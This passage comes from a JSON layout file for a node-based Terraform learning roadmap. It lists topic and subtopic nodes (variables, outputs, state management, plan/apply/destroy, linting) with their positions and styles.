\"width\": 193,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -482.3801979348366,\n        \"y\": 684.1056359503888\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0A8zTuCXVmcruJdfH3cNu\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"lifecycle\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"position\": {\n        \"x\": -482.3801979348366,\n        \"y\": 737.6056359503888\n      },\n      \"width\": 193,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -482.3801979348366,\n        \"y\": 737.6056359503888\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TPd00dRndj1P8674KTTrm\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Meta Arguments\",\n        \"oldId\": \"ZRVv9onD7KGz1cJLcsnwy\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"position\": {\n        \"x\": -496.6267326449455,\n        \"y\": 463\n      },\n      \"width\": 223,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -496.6267326449455,\n        \"y\": 463\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 223,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 223,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Iv-ZRTeVmvk7l7X9nk3ds\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 346.5493344024744,\n        \"y\": -59.5\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Getting Started\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 186,\n      \"height\": 66,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 346.5493344024744,\n        \"y\": -59.5\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 186,\n        \"height\": 66\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 186,\n        \"height\": 66\n      }\n    },\n    {\n      \"id\": \"AY7_xUeCl6ilqZzg1YFoP\",\n      \"type\": \"topic\",\n      \"data\": {\n        \"label\": \"Variables\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"BYydmFc2e-YPCC4MCWmh2\"\n      },\n      \"position\": {\n        \"x\": 118.61932240319987,\n        \"y\": 548.1056359503888\n      },\n      \"width\": 231,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 118.61932240319987,\n        \"y\": 548.1056359503888\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VxMse1VTZAUtVhpKv1OHS\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Input Variables\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"31fa8kBzCEn-uCrTSoPM4\"\n      },\n      \"position\": {\n        \"x\": 118.61932240319987,\n        \"y\": 354.19695330839784\n      },\n      \"width\": 231,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 118.61932240319987,\n        \"y\": 354.19695330839784\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HUiodBFIp_rsQDkf3WgbI\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Type Constraints\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"JJ-QhLWqT0luis_kVDVHW\"\n      },\n      \"position\": {\n        \"x\": 118.61932240319987,\n        \"y\": 408.19695330839784\n      },\n      \"width\": 231,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 118.61932240319987,\n        \"y\": 408.19695330839784\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fm8oUyNvfdGWTgLsYANUr\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Environment Variables\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"bnQ2YLHd7E-vRxX3PnUEX\"\n      },\n      \"position\": {\n        \"x\": 118.61932240319987,\n        \"y\": 693.028179751944\n      },\n      \"width\": 231,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 118.61932240319987,\n        \"y\": 693.028179751944\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rdphcVd-Vq972y4H8CxIj\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Variable Definition File\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"fm8oUyNvfdGWTgLsYANUr\"\n      },\n      \"position\": {\n        \"x\": 118.61932240319987,\n        \"y\": 462.19695330839784\n      },\n      \"width\": 231,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 118.61932240319987,\n        \"y\": 462.19695330839784\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"U2n2BtyUrOFLnw9SZYV_w\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Validation Rules\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"LDpj-LY_SOXzno04D-Y25\"\n      },\n      \"position\": {\n        \"x\": 118.61932240319987,\n        \"y\": 747.028179751944\n      },\n      \"width\": 231,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 118.61932240319987,\n        \"y\": 747.028179751944\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1mFih8uFs3Lc-1PLgwiAU\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Local Values\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"fm8oUyNvfdGWTgLsYANUr\"\n      },\n      \"position\": {\n        \"x\": 118.61932240319987,\n        \"y\": 639.028179751944\n      },\n      \"width\": 231,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 118.61932240319987,\n        \"y\": 639.028179751944\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7GK4fQf1FRKrZgZkxNahj\",\n      \"type\": \"topic\",\n      \"data\": {\n        \"label\": \"Outputs\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"pjmOK1MEMnIV_zAlaOF01\"\n      },\n      \"position\": {\n        \"x\": 421.67581888099835,\n        \"y\": 445.17143609267055\n      },\n      \"width\": 183,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 421.67581888099835,\n        \"y\": 445.17143609267055\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 183,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 183,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"31fa8kBzCEn-uCrTSoPM4\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Output Syntax\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"iIjUG_N_mQtLHG25v4-xg\"\n      },\n      \"position\": {\n        \"x\": 421.67581888099835,\n        \"y\": 260.2419617113332\n      },\n      \"width\": 183,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 183,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 421.67581888099835,\n        \"y\": 260.2419617113332\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 183,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8giL6H5944M2L0rwxjPso\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Sensitive Outputs\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"31fa8kBzCEn-uCrTSoPM4\"\n      },\n      \"position\": {\n        \"x\": 421.67581888099835,\n        \"y\": 314.2419617113332\n      },\n      \"width\": 183,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 183,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 421.67581888099835,\n        \"y\": 314.2419617113332\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 183,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DB-p_S4Ce4tDWF4wDiGSt\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Preconditions\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"8giL6H5944M2L0rwxjPso\"\n      },\n      \"position\": {\n        \"x\": 421.67581888099835,\n        \"y\": 369.2419617113332\n      },\n      \"width\": 183,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 183,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 421.67581888099835,\n        \"y\": 369.2419617113332\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 183,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Xes24SqkwSaO844kLbClj\",\n      \"type\": \"topic\",\n      \"data\": {\n        \"label\": \"Format & Validate\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"pjmOK1MEMnIV_zAlaOF01\"\n      },\n      \"position\": {\n        \"x\": 421.67581888099835,\n        \"y\": 893.9158262891483\n      },\n      \"width\": 185,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 421.67581888099835,\n        \"y\": 893.9158262891483\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 185,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 185,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"78bGm8J5Y1I8H4qioOvWb\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"terraform fmt\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"LDpj-LY_SOXzno04D-Y25\"\n      },\n      \"position\": {\n        \"x\": 135.13390102607866,\n        \"y\": 834.9158262891483\n      },\n      \"width\": 186,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 186,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 135.13390102607866,\n        \"y\": 834.9158262891483\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 186,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wdYLjB-tKg76B7YcnhevQ\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"terraform validate\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"LDpj-LY_SOXzno04D-Y25\"\n      },\n      \"position\": {\n        \"x\": 135.13390102607866,\n        \"y\": 888.9158262891483\n      },\n      \"width\": 186,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 186,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 135.13390102607866,\n        \"y\": 888.9158262891483\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 186,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YftsQYpcqJqBKPjy5tWOq\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"TFLint\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"LDpj-LY_SOXzno04D-Y25\"\n      },\n      \"position\": {\n        \"x\": 135.13390102607866,\n        \"y\": 942.9158262891483\n      },\n      \"width\": 186,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 186,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 135.13390102607866,\n        \"y\": 942.9158262891483\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 186,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pjmOK1MEMnIV_zAlaOF01\",\n      \"type\": \"topic\",\n      \"data\": {\n        \"label\": \"Deployment\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"AY7_xUeCl6ilqZzg1YFoP\"\n      },\n      \"position\": {\n        \"x\": 231.28270901908832,\n        \"y\": 1175.1483572741179\n      },\n      \"width\": 174,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 231.28270901908832,\n        \"y\": 1175.1483572741179\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LDxAXmTKyvogvgUpvN5pT\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"terraform plan\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"LPI13FILvkD55hWcWbPrV\"\n      },\n      \"position\": {\n        \"x\": 231.28270901908832,\n        \"y\": 1025.1758182495494\n      },\n      \"width\": 174,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 231.28270901908832,\n        \"y\": 1025.1758182495494\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LDpj-LY_SOXzno04D-Y25\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"terraform apply\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"rdphcVd-Vq972y4H8CxIj\"\n      },\n      \"position\": {\n        \"x\": 231.28270901908832,\n        \"y\": 1079.5470680880394\n      },\n      \"width\": 174,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 231.28270901908832,\n        \"y\": 1079.5470680880394\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KXlLlaR0_S7gE_ZB1hNEd\",\n      \"type\": \"topic\",\n      \"data\": {\n        \"label\": \"Inspect / Modify State\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"tB4zfwY4E3GmXo-XQwS-l\"\n      },\n      \"position\": {\n        \"x\": -492.5813050739364,\n        \"y\": 1159.6185818911601\n      },\n      \"width\": 263,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -492.5813050739364,\n        \"y\": 1159.6185818911601\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vAFFgKSthyj_3Lxt-Z6pg\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"graph\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"0xVXwjWPFXDGRw_3p6th6\"\n      },\n      \"position\": {\n        \"x\": -478.95485736954026,\n        \"y\": 1220.8017074542047\n      },\n      \"width\": 104,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -478.95485736954026,\n        \"y\": 1220.8017074542047\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Y-mgCkDpawt5NrMwDH9Ki\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"list\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"position\": {\n        \"x\": -477.95485736954026,\n        \"y\": 1272.8017074542047\n      },\n      \"width\": 103,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -477.95485736954026,\n        \"y\": 1272.8017074542047\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 103,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 103,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kw32gb4HSeCEoBwkeziS_\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"output\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"jvHtSRLuCXJrGIiesgbE-\"\n      },\n      \"position\": {\n        \"x\": -371.0055726743278,\n        \"y\": 1272.8017074542047\n      },\n      \"width\": 130,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -371.0055726743278,\n        \"y\": 1272.8017074542047\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 130,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 130,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"inbTto9Qukdj6egRJ0Zh9\",\n      \"type\": \"topic\",\n      \"data\": {\n        \"label\": \"Clean Up\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"tAFbTp-BgquJindVG6Ukd\"\n      },\n      \"position\": {\n        \"x\": 21.43440720317426,\n        \"y\": 1175.1483572741179\n      },\n      \"width\": 160,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 21.43440720317426,\n        \"y\": 1175.1483572741179\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 160,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 160,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LPI13FILvkD55hWcWbPrV\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"terraform destroy\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"LDpj-LY_SOXzno04D-Y25\"\n      },\n      \"position\": {\n        \"x\": 11.93440720317426,\n        \"y\": 1079.5470680880394\n      },\n      \"width\": 179,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 179,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 11.93440720317426,\n        \"y\": 1079.5470680880394\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 179,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"i-TQe48edt3Va_oZGVBLX\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -188.4848179138105,\n        \"y\": 1007.1758182495494\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"State Management\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Iv-ZRTeVmvk7l7X9nk3ds\"\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 67,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -188.4848179138105,\n        \"y\": 1007.1758182495494\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 217,\n        \"height\": 67\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 217,\n        \"height\": 67\n      }\n    },\n    {\n      \"id\": \"5xAE-9viD7DP_ugQ6NE_C\",\n      \"type\": \"topic\",\n      \"data\": {\n        \"label\": \"State\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"jas0XILqCUXjWRk3ZoSEO\"\n      },\n      \"position\": {\n        \"x\": -130.4848179138105,\n        \"y\": 910.9259081174217\n      },\n      \"width\": 101,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -130.4848179138105,\n        \"y\": 910.9259081174217\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pDm08NBVwGf9rAIZC_ZIR\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Remote State\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"16vLOPP9lTCuBh0q-UVMk\"\n      },\n      \"position\": {\n        \"x\": -205.4848179138105,\n        \"y\": 819.6207586927989\n      },\n      \"width\": 251,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -205.4848179138105,\n        \"y\": 819.6207586927989\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GseYuG9wT8H9R_enxWzuQ\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"State Locking\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"16vLOPP9lTCuBh0q-UVMk\"\n      },\n      \"position\": {\n        \"x\": -205.4848179138105,\n        \"y\": 765.6207586927989\n      },\n      \"width\": 251,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -205.4848179138105,\n        \"y\": 765.6207586927989\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"L7wAMGi_yU-Bbc9fXlmxZ\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Import Existing Resources\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"16vLOPP9lTCuBh0q-UVMk\"\n      },\n      \"position\": {\n        \"x\": -205.4848179138105,\n        \"y\": 711.6207586927989\n      },\n      \"width\": 251,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -205.4848179138105,\n        \"y\": 711.6207586927989\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"a0rUMnYluVUGhyhlDK5S8\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Splitting State Files\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"16vLOPP9lTCuBh0q-UVMk\"\n      },\n      \"position\": {\n        \"x\": -205.4848179138105,\n        \"y\": 657.6207586927989\n      },\n      \"width\": 251,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -205.4848179138105,\n        \"y\": 657.6207586927989\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1T35eNO18qoyXcX7S-Jox\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Versioning\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"16vLOPP9lTCuBh0q-UVMk\"\n      },\n      \"position\": {\n        \"x\": -205.4848179138105,\n        \"y\": 603.6207586927989\n      },\n      \"width\": 251,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -205.4848179138105,\n        \"y\": 603.6207586927989\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"16vLOPP9lTCuBh0q-UVMk\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Sensitive Data\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"LPI13FILvkD55hWcWbPrV\"\n      },\n      \"position\": {\n        \"x\": -205.4848179138105,\n        \"y\": 549.6207586927989\n      },\n      \"width\": 251,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -205.4848179138105,\n        \"y\": 549.6207586927989\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jas0XILqCUXjWRk3ZoSEO\",\n      \"type\": \"topic\",\n      \"data\": {\n        \"label\": \"Best Practices for State\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"inbTto9Qukdj6egRJ0Zh9\"\n      },\n      \"position\": {\n        \"x\": -479.5813050739364,\n        \"y\": 910.9259081174217\n      },\n      \"width\": 237,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -479.5813050739364,\n        \"y\": 910.9259081174217\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 237,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 237,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jvHtSRLuCXJrGIiesgbE-\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"-replace option in apply\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"position\": {\n        \"x\": -478.95485736954026,\n        \"y\": 1379.5845327398724\n      },\n      \"width\": 238,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -478.95485736954026,\n        \"y\": 1379.5845327398724\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 238,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 238,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7DZB2VeyuouFXOdFEfeZt\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"show\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"gTMPK0tfs2JYgoL7SAGW6\"\n      },\n      \"position\": {\n        \"x\": -371.0055726743278,\n        \"y\": 1220.8017074542047\n      },\n      \"width\": 130,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -371.0055726743278,\n        \"y\": 1220.8017074542047\n      },\n      \"dragging\": 